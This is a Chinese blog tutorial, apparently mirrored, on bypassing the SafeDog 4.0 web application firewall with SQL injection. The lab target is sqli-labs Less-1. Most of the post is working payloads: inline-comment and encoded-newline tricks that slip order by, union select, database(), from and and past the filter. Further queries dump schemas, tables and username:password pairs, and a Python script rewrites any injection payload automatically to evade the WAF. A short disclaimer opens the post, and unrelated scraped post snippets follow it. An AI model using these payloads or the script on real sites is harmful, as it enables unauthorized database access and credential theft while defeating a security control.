sql注入绕过安全狗4.0

2023-05-16

  • 1.前言
  • 2.前置知识
  • 3.绕过关键字主要思路
    • 3.1绕过连体关键字思路
    • 3.2绕过单个关键字思路
  • 4.以sqli-labs(Less-1)为例,绕过安全狗
    • 4.1拦截order by
    • 4.2拦截union select
    • 4.3拦截database()
    • 4.4拦截from
    • 4.5拦截and
    • 4.6查看数据库数据
  • 5.面向安全狗4.0的py脚本
  • 6.sqli-labs无安全狗全通关payload


1.前言

该文章只进行技术分享与探讨,任何人进行非法操作与作者无关。

2.前置知识

/*!*/叫做内联注释,当!后面所接的数据库版本号时,当实际的版本等于或是高于那个字符串,应用程序就会将注释内容解释为SQL,否则就会当做注释来处理。默认的,当没有接版本号时,是会执行里面的内容的

比如版本号为5.7.26,当/*!00000xxx*/-/*!50726xxx*/里的注释内容都可以解析为sql语句执行
而>/*!50726xxx*/里的注释内容就真的被注释,失去作用。

3.绕过关键字主要思路

在关键字处使用内联注释和%23%0a(注释换行),内联注释里的版本号即使低于实际版本号有的可以绕过,有的不能绕过(可能是安全狗做了一点小过滤)
所以我们可以使用burpsuite的intruder模块检测一下哪些版本号可以绕过,这里以sqli-labs(Less-1)为例,把版本号设置为payload点
在这里插入图片描述
设置payload类型为numbers
在这里插入图片描述
然后开始重放
在这里插入图片描述
在这里插入图片描述
看到两种响应长度,就可以暂停了,有一种一定是能绕过安全狗的版本号
在这里插入图片描述
然后下面进行绕过的时候就使用那个能绕过的版本号

3.1绕过连体关键字思路

X代表关键字

X/*/A*/%23%0aX
X/*/A*/X
X/*/--A----/*/X
X/*!66666A*/%23%0aX
X/*!44444X*/
X/*!44444%23%0aX*/
/*!44444X/*!44444X*/

3.2绕过单个关键字思路

X代表关键字

/*!%23%0aX*/
/*!X%23%0a*/
/*!44444X*/
X与前面参数连在一起(不用空格隔开,这个也是绕过方法)

4.以sqli-labs(Less-1)为例,绕过安全狗

4.1拦截order by

1' order/*!%23%0aby*/ 3 %23
1' order/*!*/%23%0aby 3 %23
1' order/*/*/by 3%23
1' order/*//------/*/by 3%23
1' order/*//------/*/%23%0aby 3%23

4.2拦截union select

-1' union/*!44444%23%0aselect*/ 1,2,3 %23
-1' union/*!44444%23%0aselect 1,2,3*/ %23
-1' union/*/A/*/select 1,2,3 %23
-1' union/*!66666A*/select 1,2,3 %23

4.3拦截database()

-1' union/*!66666A*/select 1,2,/*!database%23%0a*/() %23
-1' union/*!66666A*/select 1,2,database/*!44444()*/%23
-1' union/*!66666A*/select 1,2,database/*/A*/()%23
也适用于拦截user()

4.4拦截from

-1' union/*!66666A*/select 1,2,group_concat(schema_name)from information_schema.schemata%23
-1' union/*!66666A*/select 1,2,group_concat(schema_name) /*!%23%0afrom*/ information_schema.schemata%23
-1' union/*!66666A*/select 1,2,group_concat(schema_name) /*!44444from*/ information_schema.schemata%23

4.5拦截and

-1' union/*!66666A*/select 1,2,group_concat(column_name)/*!from%23%0a*/information_schema.columns where table_name="users" /*!44444and*/table_schema="security"%23
-1' union/*!66666A*/select 1,2,group_concat(column_name)/*!from%23%0a*/information_schema.columns where table_name="users"/*!44444and%23%0a*/table_schema="security"%23

4.6查看数据库数据

查看所有数据库
-1' union/*!66666A*/select 1,2,group_concat(schema_name)from information_schema.schemata%23
查看security库下的所有表
-1' union/*!66666A*/select 1,2,group_concat(table_name)from information_schema.tables where table_schema="security" %23
查看users表的字段
-1' union/*!66666A*/select 1,2,group_concat(column_name)/*!from%23%0a*/information_schema.columns where table_name="users" /*!44444and*/table_schema="security"%23
查看users表的记录
-1' union/*!66666A*/select 1,2,group_concat(concat(username,':',password))from security.users%23

5.面向安全狗4.0的py脚本

import re
# 如果被拦截在这更换绕过方法
def allBypass(sql):
    """
    过滤了order by,union select,database,user,version,from,and,or,updatexml,extractvalue,=,空格
    \b为了精准匹配整个单词,而不是匹配某个单词的一部分
    比如我要匹配and这个逻辑符,有一个单词rand,不加\b就会匹配上rand中的一部分,从而导致替换错误,加了\b就不会匹配
    re.I 忽略大小写,如果不能绕过可能是version出问题,上面标题3有解决办法
    """
    version = '44444'
    str = re.sub(r'\border by\b','order/*!%23%0aby*/',sql,flags=re.I)
    str = re.sub(r'\bunion select\b','union/*!'+version+'%23%0aselect*/',str,flags=re.I)
    str = re.sub(r'\bdatabase[()]{2}','/*!database%23%0a*/()',str,flags=re.I)
    str = re.sub(r'\buser[()]{2}','/*!user%23%0a*/()',str,flags=re.I)
    str = re.sub(r'\bversion[()]{2}','/*!'+version+'version*/()',str,flags=re.I)
    str = re.sub(r'\bfrom\b','/*!%23%0afrom*/',str,flags=re.I)
    str = re.sub(r'\band\b','/*!'+version+'and%23%0a*/',str,flags=re.I)
    str = re.sub(r'\bor\b','/*!'+version+'or%23%0a*/',str,flags=re.I)
    str = re.sub(r'\bupdatexml\b','/*!updatexml%23%0a*/',str,flags=re.I)
    str = re.sub(r'\bextractvalue\b','/*!extractvalue%23%0a*/',str,flags=re.I)
    str = re.sub(r'=','%0alike%0a',str,flags=re.I)
    # 将空格替换为%0a
    # str = re.sub(r' ','%0a',str,flags=re.I)
    return str

# 把payload放到下面
sql = """

1' and gtid_subset(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) %23

"""
# 将sql变量值改装
sql = sql.strip()
sql = allBypass(sql)
print(sql)

6.sqli-labs无安全狗全通关payload

https://blog.csdn.net/weixin_43623271/article/details/122801320
可以把上面网站的payload拿去跑一遍脚本,然后提交过狗。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sql注入绕过安全狗4.0 的相关文章

随机推荐

  • Ubuntu18.04安装ssh并实现本机免密登录

    hadoop需要使用SSH的方式登陆 xff0c linux下需要安装SSH 客户端已经安装好了 xff0c 一般只需要安装服务端就可以了 Ubuntu默认并没有安装ssh服务 xff0c 如果通过ssh远程连接到Ubuntu xff0c
  • AndroidStdio换源

    Android Stdio开发学习2022 10 2 第一步 换源 Android Stdio默认源是外国的 xff0c 访问很慢 xff0c 所以需要换成国内的镜像源 阿里源 xff1a https maven aliyun com ne
  • 【杂物间3】AI,ML,RL,DL,NLP,CV…搞清了这些是啥

    pre 在看一篇公众号推文的时候 xff0c 里面有这么一句话 xff1a 诶 xff0c 看这意思 xff0c CV xff0c NLP xff0c RL xff0c GNN是DL的纵向领域 xff1f 其他三个尚且眼熟 xff0c 但R
  • 数据库系统课后作业1

    关系模式 xff1a Department dNo dName officeRoom homePage Student sNo sName sex age dNo Course cNo cName cPNo credit dNo SC sN
  • 保研面试/考研复试机器学习问题整理

    1 什么是梯度爆炸和梯度消失 xff1f 如何解决梯度消失 梯度爆炸 xff1f 在反向传播过程中需要对激活函数进行求导 xff0c 如果导数大于 1 1 1 xff0c 那么随着网络层数的增加梯度更新将会朝着指数爆炸的方式增加这就是梯度爆
  • 树莓派连接vnc教程

    1 输入 sudo raspi config 进入到系统设置中开启vnc服务 2 进入后选择 Interfacing Options 进入 3 选择 VNC 进入 4 yes 下载软件 xff1a VNC Viewer 5 连接vnc xf
  • Hive之解析Json数组

    目录 Hive自带的json解析函数1 get json object函数2 json tuple函数 Hive解析json数组一 嵌套子查询解析json数组二 使用 lateral view 解析json数组 Hive自带的json解析函
  • MobaXterm实现代理功能及把内网服务器,用公网地址转发出去。

    MobaXterm实现代理功能及把内网服务器 xff0c 用公网地址转发出去 1 MobaXterm配置 192 168 1 82为内网 xff0c 需要公网连接上来 xff0c 所以用公网服务器做代理使用 xff0c 实现ssh 公网ip
  • docker-compose 搭建 nextcloud + onlyoffice 实现在线编辑,云存储等多项功能。

    添加源 yum span class token function install span epel release y 关闭防火墙 xff0c selinux systemctl stop firewalld systemctl dis
  • WiFi 中继/桥接功能 — 基于OpenWRT路由器

    一 中继和桥接介绍 1 网络拓扑图 2 功能介绍 1 无线中继 无线中继 xff0c 即无线分布系统 WDS 组网 xff0c 其工作原理是将无线信号从上一个中继点接力传递到下一个中继点 xff08 下一个点可以在不同信道上接收和转发 xf
  • 经典数学问题——三门问题(数据分析面试题)

    三门问题出自美国的电视游戏节目 Let s Make a Deal xff0c 问题名字来自该节目的主持人蒙提 霍尔 xff08 Monty Hall xff09 xff0c 所以三门问题又叫做蒙提霍尔悖论 让我们来看看三门问题 xff1a
  • N5095-Ubuntu系统开启Jellyfin硬件解码

    N5095 Ubuntu系统开启Jellyfin硬件解码 一 升级Ubuntu内核至5 18 ubuntu22 04安装后 xff0c 默认的内核版本为5 15 xff0c 而这个版本内含一个bug xff0c 导致11代IntelCPU无
  • 国产银河麒麟系统V10忘记密码重置操作

    国产电脑有忘记密码的 xff0c 因为银河麒麟系统是基于linux系统的 xff0c 不必像windows操作系统那样需要使用U盘来进行重置密码 xff0c 好像还简单一些 基本的操作也就3步 1 重启电脑进入Grub引导菜单 2 编辑引导
  • CentOS7安装xrdp(windows远程桌面连接linux)

    前提 CentOS安装桌面 xff0c 如果无桌面 xff0c 请执行 xff1a yum y groups install GNOME Desktop startx 1 安装xrdp 更具自己的系统位数选择对应的包 如果是32位使用则选择
  • Git命令测试(含结果图)

    Git命令测试 xff08 含结果图 xff09 一 文件添加 提交 xff08 一 xff09 初始化本地仓库 xff08 二 xff09 新建一个本地文件hello txt xff08 三 xff09 将该文件进行添加 xff08 四
  • OSPF协议实验

    目录 OSPF 三个阶段 OSPF实验 1拓扑搭建 2配置PC的ip信息 3配置路由 4完成配置进行测试 总结 OSPF OSPF Open Shortest Path First开放式最短路径优先 xff09 是一个内部网关协议 Inte
  • Linux 安装软件是错误:正在等待缓存锁:无法获得锁 /var/lib/dpkg/lock-frontend。锁正由进程

    原因是 xff1a 一般出现这种原因是因为文件上锁或者被占用解决办法 xff1a 删除lock xff1a sudo rm var cache apt archives lock删除lock xff1a sudo rm var lib dp
  • 封神台(尤里的复仇Ⅱ 回归)渗透第一步 信息收集1

    前言解题过程 前言 做这道题的时候 xff0c 我的心情真是跌宕起伏 为什么这么说 xff0c 且听我娓娓道来 解题过程 打开传送门 xff0c 被传送到这个网站 随便点了几个模块 xff0c 感觉都没有可利用的漏洞 xff0c 直接扫描目
  • 封神台(尤里的复仇Ⅱ 回归)绕过防护getshell

    解题思路 习惯在url后加admin xff0c 看是不是管理后台 一看发现是 xff0c 就不用目录扫描工具了 填入正确的验证码 xff0c 抓包输入 39 xff0c 查看有无报错 发现报错了 xff0c 存在报错注入 xff0c 看报
  • sql注入绕过安全狗4.0

    1 前言2 前置知识3 绕过关键字主要思路3 1绕过连体关键字思路3 2绕过单个关键字思路 4 以sqli labs Less 1 为例 xff0c 绕过安全狗4 1拦截order by4 2拦截union select4 3拦截datab